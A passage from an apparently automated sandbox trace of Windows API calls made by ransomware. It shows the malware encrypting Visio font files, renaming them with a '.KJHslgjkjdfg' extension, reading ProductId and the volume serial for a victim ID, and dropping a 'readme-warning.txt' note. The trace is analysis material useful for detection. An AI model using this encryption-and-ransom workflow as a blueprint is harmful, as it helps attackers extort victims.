pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.294] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.294] GetProcessHeap () returned 0x2a0000 [0152.294] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0152.294] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0152.294] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.294] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0152.294] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0152.294] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0152.294] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0152.294] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0152.294] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0152.294] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.295] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.295] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.295] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9e413, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x9e413, lpOverlapped=0x0) returned 1 [0152.306] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x9e420, dwBufLen=0x9e420 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x9e420) returned 1 [0152.314] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.314] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9e420, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x9e420, lpOverlapped=0x0) returned 1 [0152.316] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.317] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x9e4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.317] SetEndOfFile (hFile=0x118) returned 1 [0152.320] GetProcessHeap () returned 0x2a0000 [0152.320] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0152.320] GetProcessHeap () returned 0x2a0000 [0152.320] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0152.320] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx.kjhslgjkjdfg")) returned 1 [0152.321] CloseHandle (hObject=0x118) returned 1 [0152.322] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1 [0152.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0152.322] GetProcessHeap () returned 0x2a0000 [0152.322] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0152.322] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0152.322] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0152.323] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0152.325] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.325] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.325] GetProcessHeap () returned 0x2a0000 [0152.325] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0152.325] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0152.325] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.325] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0152.325] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0152.325] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0152.325] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0152.326] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0152.326] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0152.326] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.326] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.326] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.326] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xdfc98, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xdfc98, lpOverlapped=0x0) returned 1 [0152.355] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xdfca0, dwBufLen=0xdfca0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xdfca0) returned 1 [0152.371] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.371] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xdfca0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xdfca0, lpOverlapped=0x0) returned 1 [0152.375] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.375] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xdfd74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.375] SetEndOfFile (hFile=0x118) returned 1 [0152.379] GetProcessHeap () returned 0x2a0000 [0152.379] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0152.379] GetProcessHeap () returned 0x2a0000 [0152.380] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0152.380] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx.kjhslgjkjdfg")) returned 1 [0152.381] CloseHandle (hObject=0x118) returned 1 [0152.381] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0 [0152.381] GetProcessHeap () returned 0x2a0000 [0152.381] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0152.381] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0152.381] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0152.381] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.382] GetProcessHeap () returned 0x2a0000 [0152.382] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0152.382] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0152.382] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0152.382] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.382] GetProcessHeap () returned 0x2a0000 [0152.382] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f8728 [0152.382] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0152.382] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f8728, pdwDataLen=0x290ee20 | out: pbData=0x2f8728, pdwDataLen=0x290ee20) returned 1 [0152.382] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.382] GetProcessHeap () returned 0x2a0000 [0152.382] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0152.382] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0152.382] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0152.382] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.382] GetProcessHeap () returned 0x2a0000 [0152.382] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0152.382] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0152.382] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0152.382] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.382] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0152.383] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0152.383] RegCloseKey (hKey=0x118) returned 0x0 [0152.383] GetProcessHeap () returned 0x2a0000 [0152.383] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0152.383] GetProcessHeap () returned 0x2a0000 [0152.383] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0152.383] GetProcessHeap () returned 0x2a0000 [0152.383] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0152.383] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0152.383] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0152.383] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.383] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0152.383] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0152.384] GetProcessHeap () returned 0x2a0000 [0152.384] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0152.384] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0152.384] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0152.384] GetProcessHeap () returned 0x2a0000 [0152.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f8af0 [0152.384] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\readme-warning.txt") returned 84 [0152.384] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0152.385] WriteFile (in: hFile=0x118, lpBuffer=0x2f8af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f8af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0152.386] CloseHandle (hObject=0x118) returned 1 [0152.386] GetProcessHeap () returned 0x2a0000 [0152.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f8728 | out: hHeap=0x2a0000) returned 1 [0152.386] GetProcessHeap () returned 0x2a0000 [0152.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f8af0 | out: hHeap=0x2a0000) returned 1 [0152.386] GetProcessHeap () returned 0x2a0000 [0152.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0152.386] GetProcessHeap () returned 0x2a0000 [0152.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0152.386] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0152.387] GetProcessHeap () returned 0x2a0000 [0152.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0152.387] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Fonts", cAlternateFileName="")) returned 0 [0152.387] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0152.387] GetProcessHeap () returned 0x2a0000 [0152.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0152.387] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1 [0152.387] GetProcessHeap () returned 0x2a0000 [0152.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x78) returned 0x2b9ae0 [0152.387] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0152.389] GetProcessHeap () returned 0x2a0000 [0152.389] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9ae0 | out: hHeap=0x2a0000) returned 1 [0152.389] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.389] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10.0", cAlternateFileName="")) returned 1 [0152.389] GetProcessHeap () returned 0x2a0000 [0152.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x27a) returned 0x2c7d48 [0152.389] GetProcessHeap () returned 0x2a0000 [0152.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0152.389] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0152.394] GetProcessHeap () returned 0x2a0000 [0152.394] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0152.394] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.394] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0152.394] GetProcessHeap () returned 0x2a0000 [0152.394] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0152.394] GetProcessHeap () returned 0x2a0000 [0152.394] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8c) returned 0x2ef2d8 [0152.394] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0152.396] GetProcessHeap () returned 0x2a0000 [0152.396] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0152.396] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.396] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, 